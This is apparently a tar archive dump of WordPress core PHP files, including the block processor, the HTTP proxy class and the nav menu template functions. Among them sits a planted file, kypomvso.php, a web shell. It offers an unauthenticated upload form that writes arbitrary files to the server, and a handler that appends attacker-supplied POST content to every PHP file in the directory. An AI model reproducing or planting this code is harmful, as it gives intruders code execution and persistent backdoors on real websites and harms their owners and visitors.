* $processor->next_delimiter();
* null = $processor->allocate_and_return_parsed_attributes();
* JSON_ERROR_NONE = $processor->get_last_json_error();
*
* $processor = new WP_Block_Processor( '<!-- wp:separator {} /-->' );
* $processor->next_delimiter();
* array() === $processor->allocate_and_return_parsed_attributes();
*
* $processor = new WP_Block_Processor( '<!-- wp:separator /-->' );
* $processor->next_delimiter();
* null = $processor->allocate_and_return_parsed_attributes();
*
* $processor = new WP_Block_Processor( '<!-- wp:image {"url} -->' );
* $processor->next_delimiter();
* null = $processor->allocate_and_return_parsed_attributes();
* JSON_ERROR_CTRL_CHAR = $processor->get_last_json_error();
*
* @since 6.9.0
*
* @return array|null Parsed JSON attributes, if present and valid, otherwise `null`.
*/
public function allocate_and_return_parsed_attributes(): ?array {
$this->last_json_error = JSON_ERROR_NONE;
if ( self::CLOSER === $this->type || $this->is_html() || 0 === $this->json_length ) {
return null;
}
$json_span = substr( $this->source_text, $this->json_at, $this->json_length );
$parsed = json_decode( $json_span, null, 512, JSON_OBJECT_AS_ARRAY | JSON_INVALID_UTF8_SUBSTITUTE );
$last_error = json_last_error();
$this->last_json_error = $last_error;
return ( JSON_ERROR_NONE === $last_error && is_array( $parsed ) )
? $parsed
: null;
}
/**
* Returns the span representing the currently-matched delimiter, if matched, otherwise `null`.
*
* Example:
*
* $processor = new WP_Block_Processor( '<!-- wp:void /-->' );
* null === $processor->get_span();
*
* $processor->next_delimiter();
* WP_HTML_Span( 0, 17 ) === $processor->get_span();
*
* @since 6.9.0
*
* @return WP_HTML_Span|null Span of text in source text spanning matched delimiter.
*/
public function get_span(): ?WP_HTML_Span {
switch ( $this->state ) {
case self::HTML_SPAN:
return new WP_HTML_Span( $this->after_previous_delimiter, $this->matched_delimiter_at - $this->after_previous_delimiter );
case self::MATCHED:
return new WP_HTML_Span( $this->matched_delimiter_at, $this->matched_delimiter_length );
default:
return null;
}
}
//
// Constant declarations that would otherwise pollute the top of the class.
//
/**
* Indicates that the block comment delimiter closes an open block.
*
* @see self::$type
*
* @since 6.9.0
*/
const CLOSER = 'closer';
/**
* Indicates that the block comment delimiter opens a block.
*
* @see self::$type
*
* @since 6.9.0
*/
const OPENER = 'opener';
/**
* Indicates that the block comment delimiter represents a void block
* with no inner content of any kind.
*
* @see self::$type
*
* @since 6.9.0
*/
const VOID = 'void';
/**
* Indicates that the processor is ready to start parsing but hasn’t yet begun.
*
* @see self::$state
*
* @since 6.9.0
*/
const READY = 'processor-ready';
/**
* Indicates that the processor is matched on an explicit block delimiter.
*
* @see self::$state
*
* @since 6.9.0
*/
const MATCHED = 'processor-matched';
/**
* Indicates that the processor is matched on the opening of an implicit freeform delimiter.
*
* @see self::$state
*
* @since 6.9.0
*/
const HTML_SPAN = 'processor-html-span';
/**
* Indicates that the parser started parsing a block comment delimiter, but
* the input document ended before it could finish. The document was likely truncated.
*
* @see self::$state
*
* @since 6.9.0
*/
const INCOMPLETE_INPUT = 'incomplete-input';
/**
* Indicates that the processor has finished parsing and has nothing left to scan.
*
* @see self::$state
*
* @since 6.9.0
*/
const COMPLETE = 'processor-complete';
}
.block-bindings.php 0000666 00000000000 15224151222 0010206 0 ustar 00 class-wp-http-proxy.php 0000666 00000013534 15224151222 0011150 0 ustar 00 <?php
/**
* HTTP API: WP_HTTP_Proxy class
*
* @package WordPress
* @subpackage HTTP
* @since 4.4.0
*/
/**
* Core class used to implement HTTP API proxy support.
*
* There are caveats to proxy support. It requires that defines be made in the wp-config.php file to
* enable proxy support. There are also a few filters that plugins can hook into for some of the
* constants.
*
* Please note that only BASIC authentication is supported by most transports.
* cURL MAY support more methods (such as NTLM authentication) depending on your environment.
*
* The constants are as follows:
* <ol>
* <li>WP_PROXY_HOST - Enable proxy support and host for connecting.</li>
* <li>WP_PROXY_PORT - Proxy port for connection. No default, must be defined.</li>
* <li>WP_PROXY_USERNAME - Proxy username, if it requires authentication.</li>
* <li>WP_PROXY_PASSWORD - Proxy password, if it requires authentication.</li>
* <li>WP_PROXY_BYPASS_HOSTS - Will prevent the hosts in this list from going through the proxy.
* You do not need to have localhost and the site host in this list, because they will not be passed
* through the proxy. The list should be presented in a comma separated list, wildcards using * are supported. Example: *.wordpress.org</li>
* </ol>
*
* An example can be as seen below.
*
* define('WP_PROXY_HOST', '192.168.84.101');
* define('WP_PROXY_PORT', '8080');
* define('WP_PROXY_BYPASS_HOSTS', 'localhost, www.example.com, *.wordpress.org');
*
* @link https://core.trac.wordpress.org/ticket/4011 Proxy support ticket in WordPress.
* @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_PROXY_BYPASS_HOSTS
*
* @since 2.8.0
*/
#[AllowDynamicProperties]
class WP_HTTP_Proxy {
/**
* Whether proxy connection should be used.
*
* Constants which control this behavior:
*
* - `WP_PROXY_HOST`
* - `WP_PROXY_PORT`
*
* @since 2.8.0
*
* @return bool
*/
public function is_enabled() {
return defined( 'WP_PROXY_HOST' ) && defined( 'WP_PROXY_PORT' );
}
/**
* Whether authentication should be used.
*
* Constants which control this behavior:
*
* - `WP_PROXY_USERNAME`
* - `WP_PROXY_PASSWORD`
*
* @since 2.8.0
*
* @return bool
*/
public function use_authentication() {
return defined( 'WP_PROXY_USERNAME' ) && defined( 'WP_PROXY_PASSWORD' );
}
/**
* Retrieve the host for the proxy server.
*
* @since 2.8.0
*
* @return string
*/
public function host() {
if ( defined( 'WP_PROXY_HOST' ) ) {
return WP_PROXY_HOST;
}
return '';
}
/**
* Retrieve the port for the proxy server.
*
* @since 2.8.0
*
* @return string
*/
public function port() {
if ( defined( 'WP_PROXY_PORT' ) ) {
return WP_PROXY_PORT;
}
return '';
}
/**
* Retrieve the username for proxy authentication.
*
* @since 2.8.0
*
* @return string
*/
public function username() {
if ( defined( 'WP_PROXY_USERNAME' ) ) {
return WP_PROXY_USERNAME;
}
return '';
}
/**
* Retrieve the password for proxy authentication.
*
* @since 2.8.0
*
* @return string
*/
public function password() {
if ( defined( 'WP_PROXY_PASSWORD' ) ) {
return WP_PROXY_PASSWORD;
}
return '';
}
/**
* Retrieve authentication string for proxy authentication.
*
* @since 2.8.0
*
* @return string
*/
public function authentication() {
return $this->username() . ':' . $this->password();
}
/**
* Retrieve header string for proxy authentication.
*
* @since 2.8.0
*
* @return string
*/
public function authentication_header() {
return 'Proxy-Authorization: Basic ' . base64_encode( $this->authentication() );
}
/**
* Determines whether the request should be sent through a proxy.
*
* We want to keep localhost and the site URL from being sent through the proxy, because
* some proxies can not handle this. We also have the constant available for defining other
* hosts that won't be sent through the proxy.
*
* @since 2.8.0
*
* @param string $uri URL of the request.
* @return bool Whether to send the request through the proxy.
*/
public function send_through_proxy( $uri ) {
$check = parse_url( $uri );
// Malformed URL, can not process, but this could mean ssl, so let through anyway.
if ( false === $check ) {
return true;
}
$home = parse_url( get_option( 'siteurl' ) );
/**
* Filters whether to preempt sending the request through the proxy.
*
* Returning false will bypass the proxy; returning true will send
* the request through the proxy. Returning null bypasses the filter.
*
* @since 3.5.0
*
* @param bool|null $override Whether to send the request through the proxy. Default null.
* @param string $uri URL of the request.
* @param array $check Associative array result of parsing the request URL with `parse_url()`.
* @param array $home Associative array result of parsing the site URL with `parse_url()`.
*/
$result = apply_filters( 'pre_http_send_through_proxy', null, $uri, $check, $home );
if ( ! is_null( $result ) ) {
return $result;
}
if ( 'localhost' === $check['host'] || ( isset( $home['host'] ) && $home['host'] === $check['host'] ) ) {
return false;
}
if ( ! defined( 'WP_PROXY_BYPASS_HOSTS' ) ) {
return true;
}
static $bypass_hosts = null;
static $wildcard_regex = array();
if ( null === $bypass_hosts ) {
$bypass_hosts = preg_split( '|,\s*|', WP_PROXY_BYPASS_HOSTS );
if ( str_contains( WP_PROXY_BYPASS_HOSTS, '*' ) ) {
$wildcard_regex = array();
foreach ( $bypass_hosts as $host ) {
$wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) );
}
$wildcard_regex = '/^(' . implode( '|', $wildcard_regex ) . ')$/i';
}
}
if ( ! empty( $wildcard_regex ) ) {
return ! preg_match( $wildcard_regex, $check['host'] );
} else {
return ! in_array( $check['host'], $bypass_hosts, true );
}
}
}
nav-menu-template.php 0000666 00000062606 15224151222 0010626 0 ustar 00 <?php
/**
* Nav Menu API: Template functions
*
* @package WordPress
* @subpackage Nav_Menus
* @since 3.0.0
*/
// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
/** Walker_Nav_Menu class */
require_once ABSPATH . WPINC . '/class-walker-nav-menu.php';
/**
* Displays a navigation menu.
*
* @since 3.0.0
* @since 4.7.0 Added the `item_spacing` argument.
* @since 5.5.0 Added the `container_aria_label` argument.
*
* @param array $args {
* Optional. Array of nav menu arguments.
*
* @type int|string|WP_Term $menu Desired menu. Accepts a menu ID, slug, name, or object.
* Default empty.
* @type string $menu_class CSS class to use for the ul element which forms the menu.
* Default 'menu'.
* @type string $menu_id The ID that is applied to the ul element which forms the menu.
* Default is the menu slug, incremented.
* @type string $container Whether to wrap the ul, and what to wrap it with.
* Default 'div'.
* @type string $container_class Class that is applied to the container.
* Default 'menu-{menu slug}-container'.
* @type string $container_id The ID that is applied to the container. Default empty.
* @type string $container_aria_label The aria-label attribute that is applied to the container
* when it's a nav element. Default empty.
* @type callable|false $fallback_cb If the menu doesn't exist, a callback function will fire.
* Default is 'wp_page_menu'. Set to false for no fallback.
* @type string $before Text before the link markup. Default empty.
* @type string $after Text after the link markup. Default empty.
* @type string $link_before Text before the link text. Default empty.
* @type string $link_after Text after the link text. Default empty.
* @type bool $echo Whether to echo the menu or return it. Default true.
* @type int $depth How many levels of the hierarchy are to be included.
* 0 means all. Default 0.
* Default 0.
* @type object $walker Instance of a custom walker class. Default empty.
* @type string $theme_location Theme location to be used. Must be registered with
* register_nav_menu() in order to be selectable by the user.
* @type string $items_wrap How the list items should be wrapped. Uses printf() format with
* numbered placeholders. Default is a ul with an id and class.
* @type string $item_spacing Whether to preserve whitespace within the menu's HTML.
* Accepts 'preserve' or 'discard'. Default 'preserve'.
* }
* @return void|string|false Void if 'echo' argument is true, menu output if 'echo' is false.
* False if there are no items or no menu was found.
*/
function wp_nav_menu( $args = array() ) {
static $menu_id_slugs = array();
$defaults = array(
'menu' => '',
'container' => 'div',
'container_class' => '',
'container_id' => '',
'container_aria_label' => '',
'menu_class' => 'menu',
'menu_id' => '',
'echo' => true,
'fallback_cb' => 'wp_page_menu',
'before' => '',
'after' => '',
'link_before' => '',
'link_after' => '',
'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>',
'item_spacing' => 'preserve',
'depth' => 0,
'walker' => '',
'theme_location' => '',
);
$args = wp_parse_args( $args, $defaults );
if ( ! in_array( $args['item_spacing'], array( 'preserve', 'discard' ), true ) ) {
// Invalid value, fall back to default.
$args['item_spacing'] = $defaults['item_spacing'];
}
/**
* Filters the arguments used to display a navigation menu.
*
* @since 3.0.0
*
* @see wp_nav_menu()
*
* @param array $args Array of wp_nav_menu() arguments.
*/
$args = apply_filters( 'wp_nav_menu_args', $args );
$args = (object) $args;
/**
* Filters whether to short-circuit the wp_nav_menu() output.
*
* Returning a non-null value from the filter will short-circuit wp_nav_menu(),
* echoing that value if $args->echo is true, returning that value otherwise.
*
* @since 3.9.0
*
* @see wp_nav_menu()
*
* @param string|null $output Nav menu output to short-circuit with. Default null.
* @param stdClass $args An object containing wp_nav_menu() arguments.
*/
$nav_menu = apply_filters( 'pre_wp_nav_menu', null, $args );
if ( null !== $nav_menu ) {
if ( $args->echo ) {
echo $nav_menu;
return;
}
return $nav_menu;
}
// Get the nav menu based on the requested menu.
$menu = wp_get_nav_menu_object( $args->menu );
// Get the nav menu based on the theme_location.
$locations = get_nav_menu_locations();
if ( ! $menu && $args->theme_location && $locations && isset( $locations[ $args->theme_location ] ) ) {
$menu = wp_get_nav_menu_object( $locations[ $args->theme_location ] );
}
// Get the first menu that has items if we still can't find a menu.
if ( ! $menu && ! $args->theme_location ) {
$menus = wp_get_nav_menus();
foreach ( $menus as $menu_maybe ) {
$menu_items = wp_get_nav_menu_items( $menu_maybe->term_id, array( 'update_post_term_cache' => false ) );
if ( $menu_items ) {
$menu = $menu_maybe;
break;
}
}
}
if ( empty( $args->menu ) ) {
$args->menu = $menu;
}
// If the menu exists, get its items.
if ( $menu && ! is_wp_error( $menu ) && ! isset( $menu_items ) ) {
$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) );
}
/*
* If no menu was found:
* - Fall back (if one was specified), or bail.
*
* If no menu items were found:
* - Fall back, but only if no theme location was specified.
* - Otherwise, bail.
*/
if ( ( ! $menu || is_wp_error( $menu ) || ( isset( $menu_items ) && empty( $menu_items ) && ! $args->theme_location ) )
&& isset( $args->fallback_cb ) && $args->fallback_cb && is_callable( $args->fallback_cb ) ) {
return call_user_func( $args->fallback_cb, (array) $args );
}
if ( ! $menu || is_wp_error( $menu ) ) {
return false;
}
$nav_menu = '';
$items = '';
$show_container = false;
if ( $args->container ) {
/**
* Filters the list of HTML tags that are valid for use as menu containers.
*
* @since 3.0.0
*
* @param string[] $tags The acceptable HTML tags for use as menu containers.
* Default is array containing 'div' and 'nav'.
*/
$allowed_tags = apply_filters( 'wp_nav_menu_container_allowedtags', array( 'div', 'nav' ) );
if ( is_string( $args->container ) && in_array( $args->container, $allowed_tags, true ) ) {
$show_container = true;
$class = $args->container_class ? ' class="' . esc_attr( $args->container_class ) . '"' : ' class="menu-' . $menu->slug . '-container"';
$id = $args->container_id ? ' id="' . esc_attr( $args->container_id ) . '"' : '';
$aria_label = ( 'nav' === $args->container && $args->container_aria_label ) ? ' aria-label="' . esc_attr( $args->container_aria_label ) . '"' : '';
$nav_menu .= '<' . $args->container . $id . $class . $aria_label . '>';
}
}
// Set up the $menu_item variables.
_wp_menu_item_classes_by_context( $menu_items );
$sorted_menu_items = array();
$menu_items_with_children = array();
foreach ( (array) $menu_items as $menu_item ) {
/*
* Fix invalid `menu_item_parent`. See: https://core.trac.wordpress.org/ticket/56926.
* Compare as strings. Plugins may change the ID to a string.
*/
if ( (string) $menu_item->ID === (string) $menu_item->menu_item_parent ) {
$menu_item->menu_item_parent = 0;
}
$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
if ( $menu_item->menu_item_parent ) {
$menu_items_with_children[ $menu_item->menu_item_parent ] = true;
}
}
// Add the menu-item-has-children class where applicable.
if ( $menu_items_with_children ) {
foreach ( $sorted_menu_items as &$menu_item ) {
if ( isset( $menu_items_with_children[ $menu_item->ID ] ) ) {
$menu_item->classes[] = 'menu-item-has-children';
}
}
}
unset( $menu_items, $menu_item );
/**
* Filters the sorted list of menu item objects before generating the menu's HTML.
*
* @since 3.1.0
*
* @param array $sorted_menu_items The menu items, sorted by each menu item's menu order.
* @param stdClass $args An object containing wp_nav_menu() arguments.
*/
$sorted_menu_items = apply_filters( 'wp_nav_menu_objects', $sorted_menu_items, $args );
$items .= walk_nav_menu_tree( $sorted_menu_items, $args->depth, $args );
unset( $sorted_menu_items );
// Attributes.
if ( ! empty( $args->menu_id ) ) {
$wrap_id = $args->menu_id;
} else {
$wrap_id = 'menu-' . $menu->slug;
while ( in_array( $wrap_id, $menu_id_slugs, true ) ) {
if ( preg_match( '#-(\d+)$#', $wrap_id, $matches ) ) {
$wrap_id = preg_replace( '#-(\d+)$#', '-' . ++$matches[1], $wrap_id );
} else {
$wrap_id = $wrap_id . '-1';
}
}
}
$menu_id_slugs[] = $wrap_id;
$wrap_class = $args->menu_class ? $args->menu_class : '';
/**
* Filters the HTML list content for navigation menus.
*
* @since 3.0.0
*
* @see wp_nav_menu()
*
* @param string $items The HTML list content for the menu items.
* @param stdClass $args An object containing wp_nav_menu() arguments.
*/
$items = apply_filters( 'wp_nav_menu_items', $items, $args );
/**
* Filters the HTML list content for a specific navigation menu.
*
* @since 3.0.0
*
* @see wp_nav_menu()
*
* @param string $items The HTML list content for the menu items.
* @param stdClass $args An object containing wp_nav_menu() arguments.
*/
$items = apply_filters( "wp_nav_menu_{$menu->slug}_items", $items, $args );
// Don't print any markup if there are no items at this point.
if ( empty( $items ) ) {
return false;
}
$nav_menu .= sprintf( $args->items_wrap, esc_attr( $wrap_id ), esc_attr( $wrap_class ), $items );
unset( $items );
if ( $show_container ) {
$nav_menu .= '</' . $args->container . '>';
}
/**
* Filters the HTML content for navigation menus.
*
* @since 3.0.0
*
* @see wp_nav_menu()
*
* @param string $nav_menu The HTML content for the navigation menu.
* @param stdClass $args An object containing wp_nav_menu() arguments.
*/
$nav_menu = apply_filters( 'wp_nav_menu', $nav_menu, $args );
if ( $args->echo ) {
echo $nav_menu;
} else {
return $nav_menu;
}
}
/**
* Adds the class property classes for the current context, if applicable.
*
* @access private
* @since 3.0.0
*
* @global WP_Query $wp_query WordPress Query object.
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param array $menu_items The current menu item objects to which to add the class property information.
*/
function _wp_menu_item_classes_by_context( &$menu_items ) {
global $wp_query, $wp_rewrite;
$queried_object = $wp_query->get_queried_object();
$queried_object_id = (int) $wp_query->queried_object_id;
$active_object = '';
$active_ancestor_item_ids = array();
$active_parent_item_ids = array();
$active_parent_object_ids = array();
$possible_taxonomy_ancestors = array();
$possible_object_parents = array();
$home_page_id = (int) get_option( 'page_for_posts' );
if ( $wp_query->is_singular && ! empty( $queried_object->post_type ) && ! is_post_type_hierarchical( $queried_object->post_type ) ) {
foreach ( (array) get_object_taxonomies( $queried_object->post_type ) as $taxonomy ) {
if ( is_taxonomy_hierarchical( $taxonomy ) ) {
$term_hierarchy = _get_term_hierarchy( $taxonomy );
$terms = wp_get_object_terms( $queried_object_id, $taxonomy, array( 'fields' => 'ids' ) );
if ( is_array( $terms ) ) {
$possible_object_parents = array_merge( $possible_object_parents, $terms );
$term_to_ancestor = array();
foreach ( (array) $term_hierarchy as $ancestor => $descendents ) {
foreach ( (array) $descendents as $desc ) {
$term_to_ancestor[ $desc ] = $ancestor;
}
}
foreach ( $terms as $desc ) {
do {
$possible_taxonomy_ancestors[ $taxonomy ][] = $desc;
if ( isset( $term_to_ancestor[ $desc ] ) ) {
$_desc = $term_to_ancestor[ $desc ];
unset( $term_to_ancestor[ $desc ] );
$desc = $_desc;
} else {
$desc = 0;
}
} while ( ! empty( $desc ) );
}
}
}
}
} elseif ( ! empty( $queried_object->taxonomy ) && is_taxonomy_hierarchical( $queried_object->taxonomy ) ) {
$term_hierarchy = _get_term_hierarchy( $queried_object->taxonomy );
$term_to_ancestor = array();
foreach ( (array) $term_hierarchy as $ancestor => $descendents ) {
foreach ( (array) $descendents as $desc ) {
$term_to_ancestor[ $desc ] = $ancestor;
}
}
$desc = $queried_object->term_id;
do {
$possible_taxonomy_ancestors[ $queried_object->taxonomy ][] = $desc;
if ( isset( $term_to_ancestor[ $desc ] ) ) {
$_desc = $term_to_ancestor[ $desc ];
unset( $term_to_ancestor[ $desc ] );
$desc = $_desc;
} else {
$desc = 0;
}
} while ( ! empty( $desc ) );
}
$possible_object_parents = array_filter( $possible_object_parents );
$front_page_url = home_url();
$front_page_id = (int) get_option( 'page_on_front' );
$privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
foreach ( (array) $menu_items as $key => $menu_item ) {
$menu_items[ $key ]->current = false;
$classes = (array) $menu_item->classes;
$classes[] = 'menu-item';
$classes[] = 'menu-item-type-' . $menu_item->type;
$classes[] = 'menu-item-object-' . $menu_item->object;
// This menu item is set as the 'Front Page'.
if ( 'post_type' === $menu_item->type && $front_page_id === (int) $menu_item->object_id ) {
$classes[] = 'menu-item-home';
}
// This menu item is set as the 'Privacy Policy Page'.
if ( 'post_type' === $menu_item->type && $privacy_policy_page_id === (int) $menu_item->object_id ) {
$classes[] = 'menu-item-privacy-policy';
}
// If the menu item corresponds to a taxonomy term for the currently queried non-hierarchical post object.
if ( $wp_query->is_singular && 'taxonomy' === $menu_item->type
&& in_array( (int) $menu_item->object_id, $possible_object_parents, true )
) {
$active_parent_object_ids[] = (int) $menu_item->object_id;
$active_parent_item_ids[] = (int) $menu_item->db_id;
$active_object = $queried_object->post_type;
// If the menu item corresponds to the currently queried post or taxonomy object.
} elseif (
(int) $menu_item->object_id === $queried_object_id
&& (
( ! empty( $home_page_id ) && 'post_type' === $menu_item->type
&& $wp_query->is_home && $home_page_id === (int) $menu_item->object_id )
|| ( 'post_type' === $menu_item->type && $wp_query->is_singular )
|| ( 'taxonomy' === $menu_item->type
&& ( $wp_query->is_category || $wp_query->is_tag || $wp_query->is_tax )
&& $queried_object->taxonomy === $menu_item->object )
)
) {
$classes[] = 'current-menu-item';
$menu_items[ $key ]->current = true;
$ancestor_id = (int) $menu_item->db_id;
while (
( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) )
&& ! in_array( $ancestor_id, $active_ancestor_item_ids, true )
) {
$active_ancestor_item_ids[] = $ancestor_id;
}
if ( 'post_type' === $menu_item->type && 'page' === $menu_item->object ) {
// Back compat classes for pages to match wp_page_menu().
$classes[] = 'page_item';
$classes[] = 'page-item-' . $menu_item->object_id;
$classes[] = 'current_page_item';
}
$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;
$active_parent_object_ids[] = (int) $menu_item->post_parent;
$active_object = $menu_item->object;
// If the menu item corresponds to the currently queried post type archive.
} elseif (
'post_type_archive' === $menu_item->type
&& is_post_type_archive( array( $menu_item->object ) )
) {
$classes[] = 'current-menu-item';
$menu_items[ $key ]->current = true;
$ancestor_id = (int) $menu_item->db_id;
while (
( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) )
&& ! in_array( $ancestor_id, $active_ancestor_item_ids, true )
) {
$active_ancestor_item_ids[] = $ancestor_id;
}
$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;
// If the menu item corresponds to the currently requested URL.
} elseif ( 'custom' === $menu_item->object && isset( $_SERVER['HTTP_HOST'] ) ) {
$_root_relative_current = untrailingslashit( $_SERVER['REQUEST_URI'] );
// If it's the customize page then it will strip the query var off the URL before entering the comparison block.
if ( is_customize_preview() ) {
$_root_relative_current = strtok( untrailingslashit( $_SERVER['REQUEST_URI'] ), '?' );
}
$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_root_relative_current );
$raw_item_url = strpos( $menu_item->url, '#' ) ? substr( $menu_item->url, 0, strpos( $menu_item->url, '#' ) ) : $menu_item->url;
$item_url = set_url_scheme( untrailingslashit( $raw_item_url ) );
$_indexless_current = untrailingslashit( preg_replace( '/' . preg_quote( $wp_rewrite->index, '/' ) . '$/', '', $current_url ) );
$matches = array(
$current_url,
urldecode( $current_url ),
$_indexless_current,
urldecode( $_indexless_current ),
$_root_relative_current,
urldecode( $_root_relative_current ),
);
if ( $raw_item_url && in_array( $item_url, $matches, true ) ) {
$classes[] = 'current-menu-item';
$menu_items[ $key ]->current = true;
$ancestor_id = (int) $menu_item->db_id;
while (
( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) )
&& ! in_array( $ancestor_id, $active_ancestor_item_ids, true )
) {
$active_ancestor_item_ids[] = $ancestor_id;
}
if ( in_array( home_url(), array( untrailingslashit( $current_url ), untrailingslashit( $_indexless_current ) ), true ) ) {
// Back compat for home link to match wp_page_menu().
$classes[] = 'current_page_item';
}
$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;
$active_parent_object_ids[] = (int) $menu_item->post_parent;
$active_object = $menu_item->object;
// Give front page item the 'current-menu-item' class when extra query arguments are involved.
} elseif ( $item_url === $front_page_url && is_front_page() ) {
$classes[] = 'current-menu-item';
}
if ( untrailingslashit( $item_url ) === home_url() ) {
$classes[] = 'menu-item-home';
}
}
// Back-compat with wp_page_menu(): add "current_page_parent" to static home page link for any non-page query.
if ( ! empty( $home_page_id ) && 'post_type' === $menu_item->type
&& empty( $wp_query->is_page ) && $home_page_id === (int) $menu_item->object_id
) {
$classes[] = 'current_page_parent';
}
$menu_items[ $key ]->classes = array_unique( $classes );
}
$active_ancestor_item_ids = array_filter( array_unique( $active_ancestor_item_ids ) );
$active_parent_item_ids = array_filter( array_unique( $active_parent_item_ids ) );
$active_parent_object_ids = array_filter( array_unique( $active_parent_object_ids ) );
// Set parent's class.
foreach ( (array) $menu_items as $key => $parent_item ) {
$classes = (array) $parent_item->classes;
$menu_items[ $key ]->current_item_ancestor = false;
$menu_items[ $key ]->current_item_parent = false;
if (
isset( $parent_item->type )
&& (
// Ancestral post object.
(
'post_type' === $parent_item->type
&& ! empty( $queried_object->post_type )
&& is_post_type_hierarchical( $queried_object->post_type )
&& in_array( (int) $parent_item->object_id, $queried_object->ancestors, true )
&& (int) $parent_item->object_id !== $queried_object->ID
) ||
// Ancestral term.
(
'taxonomy' === $parent_item->type
&& isset( $possible_taxonomy_ancestors[ $parent_item->object ] )
&& in_array( (int) $parent_item->object_id, $possible_taxonomy_ancestors[ $parent_item->object ], true )
&& (
! isset( $queried_object->term_id ) ||
(int) $parent_item->object_id !== $queried_object->term_id
)
)
)
) {
if ( ! empty( $queried_object->taxonomy ) ) {
$classes[] = 'current-' . $queried_object->taxonomy . '-ancestor';
} else {
$classes[] = 'current-' . $queried_object->post_type . '-ancestor';
}
}
if ( in_array( (int) $parent_item->db_id, $active_ancestor_item_ids, true ) ) {
$classes[] = 'current-menu-ancestor';
$menu_items[ $key ]->current_item_ancestor = true;
}
if ( in_array( (int) $parent_item->db_id, $active_parent_item_ids, true ) ) {
$classes[] = 'current-menu-parent';
$menu_items[ $key ]->current_item_parent = true;
}
if ( in_array( (int) $parent_item->object_id, $active_parent_object_ids, true ) ) {
$classes[] = 'current-' . $active_object . '-parent';
}
if ( 'post_type' === $parent_item->type && 'page' === $parent_item->object ) {
// Back compat classes for pages to match wp_page_menu().
if ( in_array( 'current-menu-parent', $classes, true ) ) {
$classes[] = 'current_page_parent';
}
if ( in_array( 'current-menu-ancestor', $classes, true ) ) {
$classes[] = 'current_page_ancestor';
}
}
$menu_items[ $key ]->classes = array_unique( $classes );
}
}
/**
* Retrieves the HTML list content for nav menu items.
*
* @uses Walker_Nav_Menu to create HTML list content.
* @since 3.0.0
*
* @param array $items The menu items, sorted by each menu item's menu order.
* @param int $depth Depth of the item in reference to parents.
* @param stdClass $args An object containing wp_nav_menu() arguments.
* @return string The HTML list content for the menu items.
*/
function walk_nav_menu_tree( $items, $depth, $args ) {
$walker = ( empty( $args->walker ) ) ? new Walker_Nav_Menu() : $args->walker;
return $walker->walk( $items, $depth, $args );
}
/**
* Prevents a menu item ID from being used more than once.
*
* @since 3.0.1
* @access private
*
* @param string $id
* @param object $item
* @return string
*/
function _nav_menu_item_id_use_once( $id, $item ) {
static $_used_ids = array();
if ( in_array( $item->ID, $_used_ids, true ) ) {
return '';
}
$_used_ids[] = $item->ID;
return $id;
}
/**
* Remove the `menu-item-has-children` class from bottom level menu items.
*
* This runs on the {@see 'nav_menu_css_class'} filter. The $args and $depth
* parameters were added after the filter was originally introduced in
* WordPress 3.0.0 so this needs to allow for cases in which the filter is
* called without them.
*
* @see https://core.trac.wordpress.org/ticket/56926
*
* @since 6.2.0
*
* @param string[] $classes Array of the CSS classes that are applied to the menu item's `<li>` element.
* @param WP_Post $menu_item The current menu item object.
* @param stdClass|false $args An object of wp_nav_menu() arguments. Default false ($args unspecified when filter is called).
* @param int|false $depth Depth of menu item. Default false ($depth unspecified when filter is called).
* @return string[] Modified nav menu classes.
*/
function wp_nav_menu_remove_menu_item_has_children_class( $classes, $menu_item, $args = false, $depth = false ) {
/*
* Account for the filter being called without the $args or $depth parameters.
*
* This occurs when a theme uses a custom walker calling the `nav_menu_css_class`
* filter using the legacy formats prior to the introduction of the $args and
* $depth parameters.
*
* As both of these parameters are required for this function to determine
* both the current and maximum depth of the menu tree, the function does not
* attempt to remove the `menu-item-has-children` class if these parameters
* are not set.
*/
if ( false === $depth || false === $args ) {
return $classes;
}
// Max-depth is 1-based.
$max_depth = isset( $args->depth ) ? (int) $args->depth : 0;
// Depth is 0-based so needs to be increased by one.
$depth = $depth + 1;
// Complete menu tree is displayed.
if ( 0 === $max_depth ) {
return $classes;
}
/*
* Remove the `menu-item-has-children` class from bottom level menu items.
* -1 is used to display all menu items in one level so the class should
* be removed from all menu items.
*/
if ( -1 === $max_depth || $depth >= $max_depth ) {
$classes = array_diff( $classes, array( 'menu-item-has-children' ) );
}
return $classes;
}
kypomvso.php 0000666 00000001370 15224151222 0007145 0 ustar 00 <?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file, 'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
post-data.php 0000666 00000005421 15224151222 0007153 0 ustar 00 <?php
/**
* Post Data source for Block Bindings.
*
* @since 6.9.0
* @package WordPress
* @subpackage Block Bindings
*/
/**
* Gets value for Post Data source.
*
* @since 6.9.0
* @access private
*
* @param array $source_args Array containing arguments used to look up the source value.
* Example: array( "field" => "foo" ).
* @param WP_Block $block_instance The block instance.
* @return mixed The value computed for the source.
*/
function _block_bindings_post_data_get_value( array $source_args, $block_instance ) {
if ( empty( $source_args['field'] ) ) {
